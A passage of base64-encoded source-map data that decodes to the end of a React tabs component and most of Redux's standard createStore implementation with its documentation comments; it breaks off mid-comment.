05hbWU9eyBib3hDbGFzc1ZhbHVlICsgKCB0YWIucHJvcHMudmFsdWUgPT09IHRoaXMuc3RhdGUuYWN0aXZlID8gJyBhY3RpdmUnIDogJycgKSB9PlxuXHRcdFx0XHRcdHsgdGFiLnByb3BzLnZhbHVlID09PSB0aGlzLnN0YXRlLmFjdGl2ZSAmJiB0YWIgfVxuXHRcdFx0XHQ8L2Rpdj5cblx0XHRcdCk7XG5cdFx0fSApO1xuXG5cdFx0cmV0dXJuIChcblx0XHRcdDxkaXYgY2xhc3NOYW1lPXsgYHN1aS0keyB0eXBlIH0gJHsgZXh0cmFDbGFzcyB9YCB9PlxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS10YWJzLW1lbnVcIj5cblx0XHRcdFx0XHR7IHRhYlRpdGxlcyB9XG5cdFx0XHRcdDwvZGl2PlxuXG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLXRhYnMtY29udGVudFwiPlxuXHRcdFx0XHRcdHsgdGFiQ29udGVudHMgfVxuXHRcdFx0XHQ8L2Rpdj5cblx0XHRcdDwvZGl2PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy9jb250YWluZXJzL3RhYnMuanMiLCJpbXBvcnQgJCRvYnNlcnZhYmxlIGZyb20gJ3N5bWJvbC1vYnNlcnZhYmxlJztcblxuLyoqXG4gKiBUaGVzZSBhcmUgcHJpdmF0ZSBhY3Rpb24gdHlwZXMgcmVzZXJ2ZWQgYnkgUmVkdXguXG4gKiBGb3IgYW55IHVua25vd24gYWN0aW9ucywgeW91IG11c3QgcmV0dXJuIHRoZSBjdXJyZW50IHN0YXRlLlxuICogSWYgdGhlIGN1cnJlbnQgc3RhdGUgaXMgdW5kZWZpbmVkLCB5b3UgbXVzdCByZXR1cm4gdGhlIGluaXRpYWwgc3RhdGUuXG4gKiBEbyBub3QgcmVmZXJlbmNlIHRoZXNlIGFjdGlvbiB0eXBlcyBkaXJlY3RseSBpbiB5b3VyIGNvZGUuXG4gKi9cbnZhciBBY3Rpb25UeXBlcyA9IHtcbiAgSU5JVDogJ0BAcmVkdXgvSU5JVCcgKyBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHJpbmcoNykuc3BsaXQoJycpLmpvaW4oJy4nKSxcbiAgUkVQTEFDRTogJ0BAcmVkdXgvUkVQTEFDRScgKyBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHJpbmcoNykuc3BsaXQoJycpLmpvaW4oJy4nKVxufTtcblxudmFyIF90eXBlb2YgPSB0eXBlb2YgU3ltYm9sID09PSBcImZ1bmN0aW9uXCIgJiYgdHlwZW9mIFN5bWJvbC5pdGVyYXRvciA9PT0gXCJzeW1ib2xcIiA/IGZ1bmN0aW9uIChvYmopIHtcbiAgcmV0dXJuIHR5cGVvZiBvYmo7XG59IDogZnVuY3Rpb24gKG9iaikge1xuICByZXR1cm4gb2JqICYmIHR5cGVvZiBTeW1ib2wgPT09IFwiZnVuY3Rpb25cIiAmJiBvYmouY29uc3RydWN0b3IgPT09IFN5bWJvbCAmJiBvYmogIT09IFN5bWJvbC5wcm90b3R5cGUgPyBcInN5bWJvbFwiIDogdHlwZW9mIG9iajtcbn07XG5cbnZhciBfZXh0ZW5kcyA9IE9iamVjdC5hc3NpZ24gfHwgZnVuY3Rpb24gKHRhcmdldCkge1xuICBmb3IgKHZhciBpID0gMTsgaSA8IGFyZ3VtZW50cy5sZW5ndGg7IGkrKykge1xuICAgIHZhciBzb3VyY2UgPSBhcmd1bWVudHNbaV07XG5cbiAgICBmb3IgKHZhciBrZXkgaW4gc291cmNlKSB7XG4gICAgICBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkge1xuICAgICAgICB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldO1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gIHJldHVybiB0YXJnZXQ7XG59O1xuXG4vKipcbiAqIEBwYXJhbSB7YW55fSBvYmogVGhlIG9iamVjdCB0byBpbnNwZWN0LlxuICogQHJldHVybnMge2Jvb2xlYW59IFRydWUgaWYgdGhlIGFyZ3VtZW50IGFwcGVhcnMgdG8gYmUgYSBwbGFpbiBvYmplY3QuXG4gKi9cbmZ1bmN0aW9uIGlzUGxhaW5PYmplY3Qob2JqKSB7XG4gIGlmICgodHlwZW9mIG9iaiA9PT0gJ3VuZGVmaW5lZCcgPyAndW5kZWZpbmVkJyA6IF90eXBlb2Yob2JqKSkgIT09ICdvYmplY3QnIHx8IG9iaiA9PT0gbnVsbCkgcmV0dXJuIGZhbHNlO1xuXG4gIHZhciBwcm90byA9IG9iajtcbiAgd2hpbGUgKE9iamVjdC5nZXRQcm90b3R5cGVPZihwcm90bykgIT09IG51bGwpIHtcbiAgICBwcm90byA9IE9iamVjdC5nZXRQcm90b3R5cGVPZihwcm90byk7XG4gIH1cblxuICByZXR1cm4gT2JqZWN0LmdldFByb3RvdHlwZU9mKG9iaikgPT09IHByb3RvO1xufVxuXG4vKipcbiAqIENyZWF0ZXMgYSBSZWR1eCBzdG9yZSB0aGF0IGhvbGRzIHRoZSBzdGF0ZSB0cmVlLlxuICogVGhlIG9ubHkgd2F5IHRvIGNoYW5nZSB0aGUgZGF0YSBpbiB0aGUgc3RvcmUgaXMgdG8gY2FsbCBgZGlzcGF0Y2goKWAgb24gaXQuXG4gKlxuICogVGhlcmUgc2hvdWxkIG9ubHkgYmUgYSBzaW5nbGUgc3RvcmUgaW4geW91ciBhcHAuIFRvIHNwZWNpZnkgaG93IGRpZmZlcmVudFxuICogcGFydHMgb2YgdGhlIHN0YXRlIHRyZWUgcmVzcG9uZCB0byBhY3Rpb25zLCB5b3UgbWF5IGNvbWJpbmUgc2V2ZXJhbCByZWR1Y2Vyc1xuICogaW50byBhIHNpbmdsZSByZWR1Y2VyIGZ1bmN0aW9uIGJ5IHVzaW5nIGBjb21iaW5lUmVkdWNlcnNgLlxuICpcbiAqIEBwYXJhbSB7RnVuY3Rpb259IHJlZHVjZXIgQSBmdW5jdGlvbiB0aGF0IHJldHVybnMgdGhlIG5leHQgc3RhdGUgdHJlZSwgZ2l2ZW5cbiAqIHRoZSBjdXJyZW50IHN0YXRlIHRyZWUgYW5kIHRoZSBhY3Rpb24gdG8gaGFuZGxlLlxuICpcbiAqIEBwYXJhbSB7YW55fSBbcHJlbG9hZGVkU3RhdGVdIFRoZSBpbml0aWFsIHN0YXRlLiBZb3UgbWF5IG9wdGlvbmFsbHkgc3BlY2lmeSBpdFxuICogdG8gaHlkcmF0ZSB0aGUgc3RhdGUgZnJvbSB0aGUgc2VydmVyIGluIHVuaXZlcnNhbCBhcHBzLCBvciB0byByZXN0b3JlIGFcbiAqIHByZXZpb3VzbHkgc2VyaWFsaXplZCB1c2VyIHNlc3Npb24uXG4gKiBJZiB5b3UgdXNlIGBjb21iaW5lUmVkdWNlcnNgIHRvIHByb2R1Y2UgdGhlIHJvb3QgcmVkdWNlciBmdW5jdGlvbiwgdGhpcyBtdXN0IGJlXG4gKiBhbiBvYmplY3Qgd2l0aCB0aGUgc2FtZSBzaGFwZSBhcyBgY29tYmluZVJlZHVjZXJzYCBrZXlzLlxuICpcbiAqIEBwYXJhbSB7RnVuY3Rpb259IFtlbmhhbmNlcl0gVGhlIHN0b3JlIGVuaGFuY2VyLiBZb3UgbWF5IG9wdGlvbmFsbHkgc3BlY2lmeSBpdFxuICogdG8gZW5oYW5jZSB0aGUgc3RvcmUgd2l0aCB0aGlyZC1wYXJ0eSBjYXBhYmlsaXRpZXMgc3VjaCBhcyBtaWRkbGV3YXJlLFxuICogdGltZSB0cmF2ZWwsIHBlcnNpc3RlbmNlLCBldGMuIFRoZSBvbmx5IHN0b3JlIGVuaGFuY2VyIHRoYXQgc2hpcHMgd2l0aCBSZWR1eFxuICogaXMgYGFwcGx5TWlkZGxld2FyZSgpYC5cbiAqXG4gKiBAcmV0dXJucyB7U3RvcmV9IEEgUmVkdXggc3RvcmUgdGhhdCBsZXRzIHlvdSByZWFkIHRoZSBzdGF0ZSwgZGlzcGF0Y2ggYWN0aW9uc1xuICogYW5kIHN1YnNjcmliZSB0byBjaGFuZ2VzLlxuICovXG5mdW5jdGlvbiBjcmVhdGVTdG9yZShyZWR1Y2VyLCBwcmVsb2FkZWRTdGF0ZSwgZW5oYW5jZXIpIHtcbiAgdmFyIF9yZWYyO1xuXG4gIGlmICh0eXBlb2YgcHJlbG9hZGVkU3RhdGUgPT09ICdmdW5jdGlvbicgJiYgdHlwZW9mIGVuaGFuY2VyID09PSAndW5kZWZpbmVkJykge1xuICAgIGVuaGFuY2VyID0gcHJlbG9hZGVkU3RhdGU7XG4gICAgcHJlbG9hZGVkU3RhdGUgPSB1bmRlZmluZWQ7XG4gIH1cblxuICBpZiAodHlwZW9mIGVuaGFuY2VyICE9PSAndW5kZWZpbmVkJykge1xuICAgIGlmICh0eXBlb2YgZW5oYW5jZXIgIT09ICdmdW5jdGlvbicpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcignRXhwZWN0ZWQgdGhlIGVuaGFuY2VyIHRvIGJlIGEgZnVuY3Rpb24uJyk7XG4gICAgfVxuXG4gICAgcmV0dXJuIGVuaGFuY2VyKGNyZWF0ZVN0b3JlKShyZWR1Y2VyLCBwcmVsb2FkZWRTdGF0ZSk7XG4gIH1cblxuICBpZiAodHlwZW9mIHJlZHVjZXIgIT09ICdmdW5jdGlvbicpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ0V4cGVjdGVkIHRoZSByZWR1Y2VyIHRvIGJlIGEgZnVuY3Rpb24uJyk7XG4gIH1cblxuICB2YXIgY3VycmVudFJlZHVjZXIgPSByZWR1Y2VyO1xuICB2YXIgY3VycmVudFN0YXRlID0gcHJlbG9hZGVkU3RhdGU7XG4gIHZhciBjdXJyZW50TGlzdGVuZXJzID0gW107XG4gIHZhciBuZXh0TGlzdGVuZXJzID0gY3VycmVudExpc3RlbmVycztcbiAgdmFyIGlzRGlzcGF0Y2hpbmcgPSBmYWxzZTtcblxuICBmdW5jdGlvbiBlbnN1cmVDYW5NdXRhdGVOZXh0TGlzdGVuZXJzKCkge1xuICAgIGlmIChuZXh0TGlzdGVuZXJzID09PSBjdXJyZW50TGlzdGVuZXJzKSB7XG4gICAgICBuZXh0TGlzdGVuZXJzID0gY3VycmVudExpc3RlbmVycy5zbGljZSgpO1xuICAgIH1cbiAgfVxuXG4gIC8qKlxuICAgKiBSZWFkcyB0aGUgc3RhdGUgdHJlZSBtYW5hZ2VkIGJ5IHRoZSBzdG9yZS5cbiAgICpcbiAgICogQHJldHVybnMge2FueX0gVGhlIGN1cnJlbnQgc3RhdGUgdHJlZSBvZiB5b3VyIGFwcGxpY2F0aW9uLlxuICAgKi9cbiAgZnVuY3Rpb24gZ2V0U3RhdGUoKSB7XG4gICAgaWYgKGlzRGlzcGF0Y2hpbmcpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcignWW91IG1heSBub3QgY2FsbCBzdG9yZS5nZXRTdGF0ZSgpIHdoaWxlIHRoZSByZWR1Y2VyIGlzIGV4ZWN1dGluZy4gJyArICdUaGUgcmVkdWNlciBoYXMgYWxyZWFkeSByZWNlaXZlZCB0aGUgc3RhdGUgYXMgYW4gYXJndW1lbnQuICcgKyAnUGFzcyBpdCBkb3duIGZyb20gdGhlIHRvcCByZWR1Y2VyIGluc3RlYWQgb2YgcmVhZGluZyBpdCBmcm9tIHRoZSBzdG9yZS4nKTtcbiAgICB9XG5cbiAgICByZXR1cm4gY3VycmVudFN0YXRlO1xuICB9XG5cbiAgLyoqXG4gICAqIEFkZHMgYSBjaGFuZ2UgbGlzdGVuZXIuIEl0IHdpbGwgYmUgY2FsbGVkIGFueSB0aW1lIGFuIGFjdGlvbiBpcyBkaXNwYXRjaGVkLFxuICAgKiBhbmQgc29tZSBwYXJ0IG9mIHRoZSBzdGF0ZSB0cmVlIG1heSBwb3RlbnRpYWxseSBoYXZlIGNoYW5nZWQuIFlvdSBtYXkgdGhlblxuICAgKiBjYWxsIGBnZXRTdGF0ZSgpYCB0byByZWFkIHRoZSBjdXJyZW50IHN0YXRlIHRyZWUgaW5zaWRlIHRoZSBjYWxsYmFjay5cbiAgICpcbiAgICogWW91IG1heSBjYWxsIGBkaXNwYXRjaCgpYCBmcm9tIGEgY2hhbmdlIGxpc3RlbmVyLCB3aXRoIHRoZSBmb2xsb3dpbmdcbiAgICogY2F2ZWF0czpcbiAgICpcbiAgICogMS4gVGhlIHN1YnNjcmlwdGlvbnMgYXJlIHNuYXBzaG90dGVkIGp1c3QgYmVmb3JlIGV2ZXJ5IGBkaXNwYXRjaCgpYCBjYWxsLlxuICAgKiBJZiB5b3Ugc3Vic2NyaWJlIG9yIHVuc3Vic2NyaWJlIHdoaWxlIHRoZSBsaXN0ZW5lcnMgYXJlIGJlaW5nIGludm9rZWQsIHRoaXNcbiAgICogd2lsbCBub3QgaGF2ZSBhbnkgZWZmZWN0IG9uIHRoZSBgZGlzcGF0Y2goKWAgdGhhdCBpcyBjdXJyZW50bHkgaW4gcHJvZ3Jlc3MuXG4gICAqIEhvd2V2ZXIsIHRoZSBuZXh0IGBkaXNwYXRjaCgpYCBjYWxsLCB3aGV0aGVyIG5lc3RlZCBvciBub3QsIHdpbGwgdXNlIGEgbW9yZVxuICAgKiByZWNlbnQgc25hcHNob3Qgb2YgdGhlIHN1YnNjcmlwdGlvbiBsaXN0LlxuICAgKlxuICAgKiAyLiBUaGUgbGlzdGVuZXIgc2hvdWxkIG5vdCBleHBlY3QgdG8gc2VlIGFsbCBzdGF0ZSBjaGFuZ2VzLCBhcyB0aGUgc3RhdGVcbiAgICogbWlnaHQgaGF2ZSBiZWVuIHVwZGF0ZWQgbXVsdGlwbGUgdGltZXMgZHVyaW5nIGEgbmVzdGVkIGBkaXNwYXRjaCgpYCBiZWZvcmVcbiAgICogdGhlIGxpc3RlbmVyIGlzIGNhbGxlZC4gSXQgaXMsIGhvd2V2ZXIsIGd1YXJhbnRlZWQgdGhhdCBhbGwgc3Vic2NyaWJlcnNcbiAgICogcmVnaXN0ZXJlZCBiZWZvcmUgdGhlIGBkaXNwYXRjaCgpYCBzdGFydGVkIHdpbGwgYmUgY2FsbGVkIHdpdGggdGhlIGxhdGVzdFxuICAgKiBzdGF0ZSBieSB0aGUgdGltZSBpdCBleGl0cy5cbiAgICpcbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gbGlzdGVuZXIgQSBjYWxsYmFjayB0byBiZSBpbnZva2VkIG9uIGV2ZXJ5IGRpc3BhdGNoLlxuICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IEEgZnVuY3Rpb24gdG8gcmVtb3ZlIHRoaXMgY2hhbmdlIGxpc3RlbmVyLlxuICAgKi9cbiAgZnVuY3Rpb24gc3Vic2NyaWJlKGxpc3RlbmVyKSB7XG4gICAgaWYgKHR5cGVvZiBsaXN0ZW5lciAhPT0gJ2Z1bmN0aW9uJykge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdFeHBlY3RlZCB0aGUgbGlzdGVuZXIgdG8gYmUgYSBmdW5jdGlvbi4nKTtcbiAgICB9XG5cbiAgICBpZiAoaXNEaXNwYXRjaGluZykge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdZb3UgbWF5IG5vdCBjYWxsIHN0b3JlLnN1YnNjcmliZSgpIHdoaWxlIHRoZSByZWR1Y2VyIGlzIGV4ZWN1dGluZy4gJyArICdJZiB5b3Ugd291bGQgbGlrZSB0byBiZSBub3RpZmllZCBhZnRlciB0aGUgc3RvcmUgaGFzIGJlZW4gdXBkYXRlZCwgc3Vic2NyaWJlIGZyb20gYSAnICsgJ2NvbXBvbmVudCBhbmQgaW52b2tlIHN0b3JlLmdldFN0YXRlKCkgaW4gdGhlIGNhbGxiYWNrIHRvIGFjY2VzcyB0aGUgbGF0ZXN0IHN0YXRlLiAnICsgJ1NlZSBodHRwczovL3JlZHV4LmpzLm9yZy9hcGktcmVmZXJlbmNlL3N0b3JlI3N1YnNjcmliZShsaXN0ZW5lcikgZm9yIG1vcmUgZGV0YWlscy4nKTtcbiAgICB9XG5cbiAgICB2YXIgaXNTdWJzY3JpYmVkID0gdHJ1ZTtcblxuICAgIGVuc3VyZUNhbk11dGF0ZU5leHRMaXN0ZW5lcnMoKTtcbiAgICBuZXh0TGlzdGVuZXJzLnB1c2gobGlzdGVuZXIpO1xuXG4gICAgcmV0dXJuIGZ1bmN0aW9uIHVuc3Vic2NyaWJlKCkge1xuICAgICAgaWYgKCFpc1N1YnNjcmliZWQpIHtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuXG4gICAgICBpZiAoaXNEaXNwYXRjaGluZykge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ1lvdSBtYXkgbm90IHVuc3Vic2NyaWJlIGZyb20gYSBzdG9yZSBsaXN0ZW5lciB3aGlsZSB0aGUgcmVkdWNlciBpcyBleGVjdXRpbmcuICcgKyAnU2VlIGh0dHBzOi8vcmVkdXguanMub3JnL2FwaS1yZWZlcmVuY2Uvc3RvcmUjc3Vic2NyaWJlKGxpc3RlbmVyKSBmb3IgbW9yZSBkZXRhaWxzLicpO1xuICAgICAgfVxuXG4gICAgICBpc1N1YnNjcmliZWQgPSBmYWxzZTtcblxuICAgICAgZW5zdXJlQ2FuTXV0YXRlTmV4dExpc3RlbmVycygpO1xuICAgICAgdmFyIGluZGV4ID0gbmV4dExpc3RlbmVycy5pbmRleE9mKGxpc3RlbmVyKTtcbiAgICAgIG5leHRMaXN0ZW5lcnMuc3BsaWNlKGluZGV4LCAxKTtcbiAgICB9O1xuICB9XG5cbiAgLyoqXG4gICAqIERpc3BhdGNoZXMgYW4gYWN0aW9uLiBJdCBpcyB0aGUgb25seSB3YXkgdG8gdHJpZ2dlciBhIHN0YXRlIGNoYW5nZS5cbiAgICpcbiAgICogVGhlIGByZWR1Y2VyYCBmdW5jdGlvbiwgdXNlZCB0byBjcmVhdGUgdGhlIHN0b3JlLCB3aWxsIGJlIGNhbGxlZCB3aXRoIHRoZVxuICAgKiBjdXJyZW50IHN0YXRlIHRyZWUgYW5kIHRoZSBnaXZlbiBgYWN0aW9uYC4gSXRzIHJldHVybiB2YWx1ZSB3aWxsXG4gICAqIGJlIGNvbnNpZGVyZWQgdGhlICoqbmV4dCoqIHN0YXRlIG9mIHRoZSB0cmVlLCBhbmQgdGhlIGNoYW5nZSBsaXN0ZW5lcnNcbiAgICogd2lsbCBiZSBub3RpZmllZC5cbiAgICpcbiAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb25seSBzdXBwb3J0cyBwbGFpbiBvYmplY3QgYWN0aW9ucy4gSWYgeW91IHdhbnQgdG9cbiAgICogZGlzcGF0Y2ggYSBQcm9taXNlLCBhbiBPYnNlcnZhYmxlLCBhIHRodW5rLCBvciBzb21ldGhpbmcgZWxzZSwgeW91IG5lZWQgdG9cbiAgICogd3JhcCB5b3VyIHN0b3JlIGNyZWF0aW5nIGZ1bmN0aW9uIGludG8gdGhlIGNvcnJlc3BvbmRpbmcgbWlkZGxld2FyZS4gRm9yXG4gICAqIGV4YW1wbGUsIHNlZSB0aGUgZG9jdW1lbnRhdGlvbiBmb3IgdGhlIGByZWR1eC10aHVua2AgcGFja2FnZS4gRXZlbiB0aGVcbiAgICogbWlkZGxld2FyZSB3aWxsIGV2ZW50dWFsbHkgZGlzcGF0Y2ggcGxhaW4gb2JqZWN0IGFjdGlvbnMgdXNpbmcgdGhpcyBtZXRob2QuXG4gICAqXG4gICAqIEBwYXJhbSB7T2JqZWN0fSBhY3Rpb24gQSBwbGFpbiBvYmplY3QgcmVwcmVzZW50aW5nIOKAnHdoYXQgY2hhbmdlZOKAnS4gSXQgaXNcbiAgICogYSBnb29kIGlkZWEgdG8ga2VlcCBhY3Rpb25zIHNlcmlhbGl6YWJsZSBzbyB5b3UgY2FuIHJlY29yZCBhbmQgcmVwbGF5IHVzZXJcbiAgICogc2Vzc2lvbnMsIG9yIHVzZSB0aGUgdGltZSB0cmF2ZWxsaW5nIGByZWR1eC1kZXZ0b29sc2AuIEFuIGFjdGlvbiBtdXN0IGhhdmVcbiAgICogYSBgdHlwZWAgcHJvcGVydHkgd2hpY2ggbWF5IG5vdCBiZSBgdW5kZWZpbmVkYC4gSXQgaXMgYSBnb29kIGlkZWEgdG8gdXNlXG4gICAqIHN0cmluZyBjb25zdGFudHMgZm9yIGFjdGlvbiB0eXBlcy5cbiAgICpcbiAgICogQHJldHVybnMge09iamVjdH0gRm9yIGNvbnZlbmllbmNlLCB0aGUgc2FtZSBhY3Rpb24gb2JqZWN0IHlvdSBkaXNwYXRjaGVkLlxuICAgKlxuICAgKiBOb3RlIHRoYXQsIGlmIHlvdSB1c2UgYSBjdXN0b20gbWlkZGxld2FyZSwgaXQgbWF5IHdyYXAgYGRpc3BhdGNoKClgIHRvXG4gICAqIHJldHVybiBzb21ldGhpbmcgZWxzZSAoZm9yIGV4YW1wbGUsIGEgUHJvbWlzZSB5b3UgY2FuIGF3YWl0KS5cbiAgICovXG4gIGZ1bmN0aW9uIGRpc3BhdGNoKGFjdGlvbikge1xuICAgIGlmICghaXNQbGFpbk9iamVjdChhY3Rpb24pKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ0FjdGlvbnMgbXVzdCBiZSBwbGFpbiBvYmplY3RzLiAnICsgJ1VzZSBjdXN0b20gbWlkZGxld2FyZSBmb3IgYXN5bmMgYWN0aW9ucy4nKTtcbiAgICB9XG5cbiAgICBpZiAodHlwZW9mIGFjdGlvbi50eXBlID09PSAndW5kZWZpbmVkJykge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdBY3Rpb25zIG1heSBub3QgaGF2ZSBhbiB1bmRlZmluZWQgXCJ0eXBlXCIgcHJvcGVydHkuICcgKyAnSGF2ZSB5b3UgbWlzc3BlbGxlZCBhIGNvbnN0YW50PycpO1xuICAgIH1cblxuICAgIGlmIChpc0Rpc3BhdGNoaW5nKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ1JlZHVjZXJzIG1heSBub3QgZGlzcGF0Y2ggYWN0aW9ucy4nKTtcbiAgICB9XG5cbiAgICB0cnkge1xuICAgICAgaXNEaXNwYXRjaGluZyA9IHRydWU7XG4gICAgICBjdXJyZW50U3RhdGUgPSBjdXJyZW50UmVkdWNlcihjdXJyZW50U3RhdGUsIGFjdGlvbik7XG4gICAgfSBmaW5hbGx5IHtcbiAgICAgIGlzRGlzcGF0Y2hpbmcgPSBmYWxzZTtcbiAgICB9XG5cbiAgICB2YXIgbGlzdGVuZXJzID0gY3VycmVudExpc3RlbmVycyA9IG5leHRMaXN0ZW5lcnM7XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBsaXN0ZW5lcnMubGVuZ3RoOyBpKyspIHtcbiAgICAgIHZhciBsaXN0ZW5lciA9IGxpc3RlbmVyc1tpXTtcbiAgICAgIGxpc3RlbmVyKCk7XG4gICAgfVxuXG4gICAgcmV0dXJuIGFjdGlvbjtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZXBsYWNlcyB0aGUgcmVkdWNlciBjdXJyZW50bHkgdXNlZCBieSB0aGUgc3RvcmUgdG8gY2FsY3VsYXRlIHRoZSBzdGF0ZS5cbiAgICpcbiAgICogWW91IG1pZ2h0IG5lZWQgdGhpcyBpZiB5b3VyIGFwcCBpbXBsZW1lbnRzIGNvZGUgc3BsaXR0aW5nIGFuZCB5b3Ugd2FudCB0b1xuICAgKiBsb2FkIHNvbWUgb2YgdGhlIHJlZHVjZXJzIGR5bmFtaWNhbGx5LiBZb3UgbWlnaHQgYWxzbyBuZWVkIHRoaXMgaWYgeW91XG4gICAqIGltcGxlbWVudCBhIGhvdCByZWxvYWRpbmcgbWVjaGFuaXNtIGZvciBSZWR1eC5cbiAgICpcbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gbmV4dFJlZHVjZXIgVGhlIHJlZHVjZXIgZm9yIHRoZSBzdG9yZSB0byB1c2UgaW5zdGVhZC5cbiAgICogQHJldHVybnMge3ZvaWR9XG4gICAqL1xuICBmdW5jdGlvbiByZXBsYWNlUmVkdWNlcihuZXh0UmVkdWNlcikge1xuICAgIGlmICh0eXBlb2YgbmV4dFJlZHVjZXIgIT09ICdmdW5jdGlvbicpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcignRXhwZWN0ZWQgdGhlIG5leHRSZWR1Y2VyIHRvIGJlIGEgZnVuY3Rpb24uJyk7XG4gICAgfVxuXG4gICAgY3VycmVudFJlZHVjZXIgPSBuZXh0UmVkdWNlcjtcbiAgICBkaXNwYXRjaCh7IHR5cGU6IEFjdGlvblR5cGVzLlJFUExBQ0UgfSk7XG4gIH1cblxuICAvKipcbiAgICogSW50ZXJvcGVyYWJpbGl0eSBwb2ludCBmb3Igb2JzZXJ2YWJsZS9yZWFjdGl2ZSBsaWJyYXJpZXMuXG4gICAqIEByZXR1cm5zIHtvYnNlcnZhYmxlfSBBIG1pbmltYWwgb2JzZXJ2YWJsZSBvZiBzdGF0ZSBjaGFuZ2VzLlxuICAgKiBGb3IgbW9yZSBpbmZvcm1hdGlvbiwgc2VlIHRoZSBvYnNlcnZhYmxlIHByb3Bvc2FsOlxuICAgKiBodHRwczovL2dpdGh1Yi5jb20vdGMzOS9wcm9wb3NhbC1vYnNlcnZhYmxlXG4gICAqL1xuICBmdW5jdGlvbiBvYnNlcnZhYmxlKCkge1xuICAgIHZhciBfcmVmO1xuXG4gICAgdmFyIG91dGVyU3Vic2NyaWJlID0gc3Vic2NyaWJlO1xuICAgIHJldHVybiBfcmVmID0ge1xuICAgICAgLyoqXG4gICAgICAgKiBUaGUgbWluaW1hbCBvYnNlcnZhYmxlIHN1YnNjcmlwdGlvbiBtZXRob2QuXG4gICAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JzZXJ2ZXIgQW55IG9iamVjdCB0aGF0IGNhbiBiZSB1c2VkIGFzIGFuIG9ic2VydmVyLlxuICAgICAgICogVGhlIG9ic2VydmVyIG9iamVjdCBzaG91bGQgaGF2ZSBhIGBuZXh0YCBtZXRob2QuXG4gICAgICAgKiBAcmV0dXJucyB7c3Vic2NyaXB0aW9ufSBBbiBvYmplY3Qgd2l0aCBhbiBgdW5zdWJzY3JpYmVgIG1ldGhvZCB0aGF0IGNhblxuICAgICAgICogYmUgdXNlZCB0byB1bnN1YnNjcmliZSB0aGUgb2JzZXJ2YWJsZSBmcm9tIHRoZSBzdG9yZSwgYW5kIHByZXZlbnQgZnVydGhlclxuICAgICAgICogZW1pc3Npb24gb2YgdmFsdWVzIGZyb20gdGhlIG9ic2VydmFibGUuXG4gICAgICAgKi9cbiAgICAgIHN1YnNjcmliZTogZnVuY3Rpb24gc3Vic2NyaWJlKG9ic2VydmVyKSB7XG4gICAgICAgIGlmICgodHlwZW9mIG9ic2VydmVyID09PSAndW5kZWZpbmVkJyA/ICd1bmRlZmluZWQnIDogX3R5cGVvZihvYnNlcnZlcikpICE9PSAnb2JqZWN0JyB8fCBvYnNlcnZlciA9PT0gbnVsbCkge1xuICAgICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0V4cGVjdGVkIHRoZSBvYnNlcnZlciB0byBiZSBhbiBvYmplY3QuJyk7XG4gICAgICAgIH1cblxuICAgICAgICBmdW5jdGlvbiBvYnNlcnZlU3RhdGUoKSB7XG4gICAgICAgICAgaWYgKG9ic2VydmVyLm5leHQpIHtcbiAgICAgICAgICAgIG9ic2VydmVyLm5leHQoZ2V0U3RhdGUoKSk7XG4gICAgICAgICAgfVxuICAgICAgICB9XG5cbiAgICAgICAgb2JzZXJ2ZVN0YXRlKCk7XG4gICAgICAgIHZhciB1bnN1YnNjcmliZSA9IG91dGVyU3Vic2NyaWJlKG9ic2VydmVTdGF0ZSk7XG4gICAgICAgIHJldHVybiB7IHVuc3Vic2NyaWJlOiB1bnN1YnNjcmliZSB9O1xuICAgICAgfVxuICAgIH0sIF9yZWZbJCRvYnNlcnZhYmxlXSA9IGZ1bmN0aW9uICgpIHtcbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH0sIF9yZWY7XG4gIH1cblxuICAvLyBXaGVuIGEgc3RvcmUgaXMgY3JlYXRlZCwgYW4gXCJJTklUXCIgYWN0aW9uIGlzIGRpc3BhdGNoZWQgc28gdGhhdCBldmVyeVxuICAvLyByZWR1Y2VyIHJldHVybnMgdGhlaXIgaW5pdGlhbCBzdGF0ZS4gVGhpcyBlZmZlY3RpdmVseSBwb3B1bGF0ZXNcbiAgLy8gdGhlIGluaXRpYWwgc3RhdGUgdHJlZS5cbiAgZGlzcGF0Y2goeyB0eXBlOiBBY3Rpb25UeXBlcy5JTklUIH0pO1xuXG4gIHJldHVybiBfcmVmMiA9IHtcbiAgICBkaXNwYXRjaDogZGlzcGF0Y2gsXG4gICAgc3Vic2NyaWJlOiBzdWJzY3JpYmUsXG4gICAgZ2V0U3RhdGU6IGdldFN0YXRlLFxuICAgIHJlcGxhY2VSZWR1Y2VyOiByZXBsYWNlUmVkdWNlclxuICB9LCBfcmVmMlskJG9ic2VydmFibGVdID0gb2JzZXJ2YWJsZSwgX3JlZjI7XG59XG5cbi8qKlxuICogUHJpbnRzIGEgd2FybmluZyBpbiB0aGUgY29uc29sZSBpZiBpdCBleGlzdHMuXG4gKlxuICogQHBhcmFtIHtTdHJpbmd9IG1lc3NhZ2UgVGhl